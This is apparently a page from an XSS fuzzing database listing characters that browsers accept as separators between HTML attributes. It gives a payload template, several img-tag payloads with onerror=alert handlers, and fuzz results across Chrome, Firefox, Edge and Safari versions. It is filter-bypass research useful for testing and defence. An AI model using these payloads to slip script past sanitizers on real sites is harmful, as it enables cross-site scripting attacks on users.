Characters allowed between HTML attributes
6
6
6
6This vector shows what characters can be used to separate HTML attributes
Created by0x999-x
Created Apr 10, 2024
Updated May 25, 2025
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img$[chr]src$[chr]onerror=log($[i])>Sample payloads
<img0x09src0x09onerror=alert(9)><img
src
onerror=alert(10)><img0x0Csrc0x0Conerror=alert(12)><img0x0Dsrc0x0Donerror=alert(13)><img src onerror=alert(32)><img/src/onerror=alert(47)>Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 6 results
Loading...
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 6 results
Loading...
Chrome 124.0.0.0 Unknown Unknownolder version
Updated29 Apr 2024
Found 6 results
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 6 results
Loading...
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 6 results
Loading...
Firefox 125.0 Unknown Unknownolder version
Updated29 Apr 2024
Found 6 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 6 results
Loading...
Safari 17.4 Unknown Unknown
Updated29 Apr 2024
Found 6 results
Loading...